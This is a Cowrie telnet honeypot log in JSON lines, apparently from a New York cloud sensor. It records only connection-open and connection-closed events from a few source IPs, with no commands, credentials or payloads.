{"eventid":"cowrie.session.closed","duration":35.903576612472534,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.660638Z","src_ip":"162.55.233.176","session":"01086b0ebe11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.83001923561096,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.799342Z","src_ip":"162.55.233.176","session":"3bda52627672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04832410812378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.878498Z","src_ip":"162.55.233.176","session":"16a8d16543c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39643573760986,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.913348Z","src_ip":"162.55.233.176","session":"f2aa97ba3436","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.461042642593384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:45.918171Z","src_ip":"162.55.233.176","session":"af09d9c1a49a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35484,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ba3e7c2103","protocol":"telnet","message":"New connection: 162.55.233.176:35484 (159.203.135.109:23) [session: b6ba3e7c2103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:46.343897Z"}
{"eventid":"cowrie.session.closed","duration":37.73360347747803,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:46.366583Z","src_ip":"162.55.233.176","session":"3165685ac7a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35496,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e40f9c62ca6","protocol":"telnet","message":"New connection: 162.55.233.176:35496 (159.203.135.109:23) [session: 2e40f9c62ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:46.556248Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35498,"dst_ip":"159.203.135.109","dst_port":23,"session":"f00c01c24e90","protocol":"telnet","message":"New connection: 162.55.233.176:35498 (159.203.135.109:23) [session: f00c01c24e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:46.846538Z"}
{"eventid":"cowrie.session.closed","duration":35.296486616134644,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:47.251433Z","src_ip":"162.55.233.176","session":"3da7822c7c7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60991883277893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:47.344039Z","src_ip":"162.55.233.176","session":"67a1a5bbcf0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1123788356781,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:47.518244Z","src_ip":"162.55.233.176","session":"281af8839f17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35738801956177,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:47.747899Z","src_ip":"162.55.233.176","session":"0335af174ad3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57790970802307,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:47.778635Z","src_ip":"162.55.233.176","session":"c23265e7ff20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35502,"dst_ip":"159.203.135.109","dst_port":23,"session":"b84a35efe2bb","protocol":"telnet","message":"New connection: 162.55.233.176:35502 (159.203.135.109:23) [session: b84a35efe2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:47.819838Z"}
{"eventid":"cowrie.session.closed","duration":0.056745290756225586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:47.876472Z","src_ip":"162.55.233.176","session":"b84a35efe2bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35508,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef16d00de492","protocol":"telnet","message":"New connection: 162.55.233.176:35508 (159.203.135.109:23) [session: ef16d00de492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:48.124101Z"}
{"eventid":"cowrie.session.closed","duration":46.104355812072754,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:48.366332Z","src_ip":"206.189.32.23","session":"cd5fd32edde6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35512,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee829953c3ae","protocol":"telnet","message":"New connection: 162.55.233.176:35512 (159.203.135.109:23) [session: ee829953c3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:48.540623Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35516,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b13b0f88458","protocol":"telnet","message":"New connection: 162.55.233.176:35516 (159.203.135.109:23) [session: 2b13b0f88458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:48.637652Z"}
{"eventid":"cowrie.session.closed","duration":32.22681379318237,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:48.740359Z","src_ip":"162.55.233.176","session":"b433fe5d2cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35528,"dst_ip":"159.203.135.109","dst_port":23,"session":"3763a2a537ff","protocol":"telnet","message":"New connection: 162.55.233.176:35528 (159.203.135.109:23) [session: 3763a2a537ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:48.919488Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35534,"dst_ip":"159.203.135.109","dst_port":23,"session":"1631e5b49a71","protocol":"telnet","message":"New connection: 162.55.233.176:35534 (159.203.135.109:23) [session: 1631e5b49a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:49.130016Z"}
{"eventid":"cowrie.session.closed","duration":33.865012407302856,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:49.255285Z","src_ip":"162.55.233.176","session":"b6463465d5ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59830,"dst_ip":"10.17.0.5","dst_port":23,"session":"218dda4be300","protocol":"telnet","message":"New connection: 206.189.32.23:59830 (10.17.0.5:23) [session: 218dda4be300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:49.262604Z"}
{"eventid":"cowrie.session.closed","duration":34.754624366760254,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:49.694321Z","src_ip":"162.55.233.176","session":"663b95cf9d06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.6585693359375,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:49.818336Z","src_ip":"162.55.233.176","session":"a3888a9ee3de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06386208534241,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:49.823091Z","src_ip":"162.55.233.176","session":"f38c717be2b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35552,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f1f5f1f6e3","protocol":"telnet","message":"New connection: 162.55.233.176:35552 (159.203.135.109:23) [session: f1f1f5f1f6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:49.972012Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35564,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c00a4452c89","protocol":"telnet","message":"New connection: 162.55.233.176:35564 (159.203.135.109:23) [session: 3c00a4452c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:50.209899Z"}
{"eventid":"cowrie.session.closed","duration":38.521480321884155,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:50.273581Z","src_ip":"162.55.233.176","session":"58c8e8db71d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971426248550415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:50.277755Z","src_ip":"162.55.233.176","session":"d06f2b504859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35568,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b670c6eb53f","protocol":"telnet","message":"New connection: 162.55.233.176:35568 (159.203.135.109:23) [session: 1b670c6eb53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:50.327129Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35572,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f64f288770","protocol":"telnet","message":"New connection: 162.55.233.176:35572 (159.203.135.109:23) [session: e2f64f288770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:50.438601Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35578,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd9ca844df8e","protocol":"telnet","message":"New connection: 162.55.233.176:35578 (159.203.135.109:23) [session: cd9ca844df8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:50.491173Z"}
{"eventid":"cowrie.session.closed","duration":31.35698366165161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:50.538602Z","src_ip":"162.55.233.176","session":"dd079b6e366a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35550,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf5c5ed285d3","protocol":"telnet","message":"New connection: 162.55.233.176:35550 (159.203.135.109:23) [session: cf5c5ed285d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:50.903009Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35584,"dst_ip":"159.203.135.109","dst_port":23,"session":"1468664cdeee","protocol":"telnet","message":"New connection: 162.55.233.176:35584 (159.203.135.109:23) [session: 1468664cdeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:51.399317Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35590,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf34f53a7c7","protocol":"telnet","message":"New connection: 162.55.233.176:35590 (159.203.135.109:23) [session: abf34f53a7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:51.563459Z"}
{"eventid":"cowrie.session.closed","duration":34.58910846710205,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:51.691348Z","src_ip":"162.55.233.176","session":"61aa907f452d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.279359579086304,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:51.788437Z","src_ip":"162.55.233.176","session":"973c32e9f036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12015438079834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:51.938930Z","src_ip":"162.55.233.176","session":"0c2f35914636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35596,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b8232260a85","protocol":"telnet","message":"New connection: 162.55.233.176:35596 (159.203.135.109:23) [session: 9b8232260a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:51.981041Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35602,"dst_ip":"159.203.135.109","dst_port":23,"session":"4256dac48120","protocol":"telnet","message":"New connection: 162.55.233.176:35602 (159.203.135.109:23) [session: 4256dac48120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:52.153556Z"}
{"eventid":"cowrie.session.closed","duration":6.896252393722534,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:52.416557Z","src_ip":"162.55.233.176","session":"3305060a2953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35614,"dst_ip":"159.203.135.109","dst_port":23,"session":"e685dc738d8c","protocol":"telnet","message":"New connection: 162.55.233.176:35614 (159.203.135.109:23) [session: e685dc738d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:52.488465Z"}
{"eventid":"cowrie.session.closed","duration":34.56846618652344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:52.610920Z","src_ip":"162.55.233.176","session":"f89c9ec880a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35620,"dst_ip":"159.203.135.109","dst_port":23,"session":"8098b2e0f9da","protocol":"telnet","message":"New connection: 162.55.233.176:35620 (159.203.135.109:23) [session: 8098b2e0f9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:52.667612Z"}
{"eventid":"cowrie.session.closed","duration":35.92474365234375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:52.689627Z","src_ip":"162.55.233.176","session":"693fbf11df9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.404212713241577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:52.764841Z","src_ip":"162.55.233.176","session":"bf00e38d9a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.79526424407959,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:53.092888Z","src_ip":"162.55.233.176","session":"a4e960816bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.662049293518066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:53.176596Z","src_ip":"162.55.233.176","session":"67552ac8fa5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34274,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b16fec73148","protocol":"telnet","message":"New connection: 206.189.32.23:34274 (10.17.0.5:23) [session: 2b16fec73148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:53.194193Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59894,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a2b2937986","protocol":"telnet","message":"New connection: 162.55.233.176:59894 (159.203.135.109:23) [session: 42a2b2937986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:53.198062Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59910,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfe515b73200","protocol":"telnet","message":"New connection: 162.55.233.176:59910 (159.203.135.109:23) [session: cfe515b73200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:53.275067Z"}
{"eventid":"cowrie.session.closed","duration":30.855960845947266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:53.623388Z","src_ip":"162.55.233.176","session":"eea54ffbcc86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59916,"dst_ip":"159.203.135.109","dst_port":23,"session":"dea642617a3e","protocol":"telnet","message":"New connection: 162.55.233.176:59916 (159.203.135.109:23) [session: dea642617a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:53.705108Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59922,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b5d783ee95","protocol":"telnet","message":"New connection: 162.55.233.176:59922 (159.203.135.109:23) [session: a4b5d783ee95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:53.756434Z"}
{"eventid":"cowrie.session.closed","duration":32.499794244766235,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:54.044593Z","src_ip":"162.55.233.176","session":"a1bc4dc52935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59928,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0361185e71d","protocol":"telnet","message":"New connection: 162.55.233.176:59928 (159.203.135.109:23) [session: d0361185e71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:54.163808Z"}
{"eventid":"cowrie.session.closed","duration":44.28047513961792,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:54.788098Z","src_ip":"162.55.233.176","session":"5692cae32cd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59936,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2561c385da0","protocol":"telnet","message":"New connection: 162.55.233.176:59936 (159.203.135.109:23) [session: e2561c385da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:55.465266Z"}
{"eventid":"cowrie.session.closed","duration":33.48249292373657,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:55.539298Z","src_ip":"162.55.233.176","session":"ddcc84723196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59938,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1a525bf20bb","protocol":"telnet","message":"New connection: 162.55.233.176:59938 (159.203.135.109:23) [session: b1a525bf20bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:55.648348Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36624,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc2ff6cb8cce","protocol":"telnet","message":"New connection: 188.208.141.113:36624 (10.17.0.5:23) [session: bc2ff6cb8cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:55.930202Z"}
{"eventid":"cowrie.session.closed","duration":31.58766269683838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:56.206602Z","src_ip":"162.55.233.176","session":"c7f28b2fd04f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.941328763961792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:56.502928Z","src_ip":"162.55.233.176","session":"2645cb02e7d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57296085357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:56.583978Z","src_ip":"162.55.233.176","session":"2274c21da5f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.255125761032104,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:56.751601Z","src_ip":"162.55.233.176","session":"caa8c37168d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.744563817977905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:56.860834Z","src_ip":"162.55.233.176","session":"81d3c03f61b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.60753917694092,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:56.970249Z","src_ip":"162.55.233.176","session":"b0f87c3f6685","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18896293640137,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:57.045021Z","src_ip":"162.55.233.176","session":"c2d44446d9ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59950,"dst_ip":"159.203.135.109","dst_port":23,"session":"064f0f49f695","protocol":"telnet","message":"New connection: 162.55.233.176:59950 (159.203.135.109:23) [session: 064f0f49f695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:57.095142Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59954,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1fc6e02e92f","protocol":"telnet","message":"New connection: 162.55.233.176:59954 (159.203.135.109:23) [session: a1fc6e02e92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:57.126307Z"}
{"eventid":"cowrie.session.closed","duration":31.42487668991089,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:57.221861Z","src_ip":"162.55.233.176","session":"9f33ef82c159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59966,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf0aaf06ae5a","protocol":"telnet","message":"New connection: 162.55.233.176:59966 (159.203.135.109:23) [session: bf0aaf06ae5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:57.237876Z"}
{"eventid":"cowrie.session.closed","duration":37.2148871421814,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:57.554661Z","src_ip":"162.55.233.176","session":"d3fb12a752ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39324,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7915063cc33","protocol":"telnet","message":"New connection: 206.189.32.23:39324 (10.17.0.5:23) [session: e7915063cc33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:57.877403Z"}
{"eventid":"cowrie.session.closed","duration":34.00014019012451,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:57.924063Z","src_ip":"162.55.233.176","session":"0ba41ba37ee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36626,"dst_ip":"10.17.0.5","dst_port":23,"session":"575c6455508b","protocol":"telnet","message":"New connection: 188.208.141.113:36626 (10.17.0.5:23) [session: 575c6455508b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:58.510839Z"}
{"eventid":"cowrie.session.closed","duration":32.876022815704346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:58.938706Z","src_ip":"162.55.233.176","session":"b817d9a9380c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59968,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48d8076fb6f","protocol":"telnet","message":"New connection: 162.55.233.176:59968 (159.203.135.109:23) [session: b48d8076fb6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:59.110258Z"}
{"eventid":"cowrie.session.closed","duration":39.88991975784302,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:00:59.417661Z","src_ip":"162.55.233.176","session":"f2706e9eba9b","protocol":"telnet"}
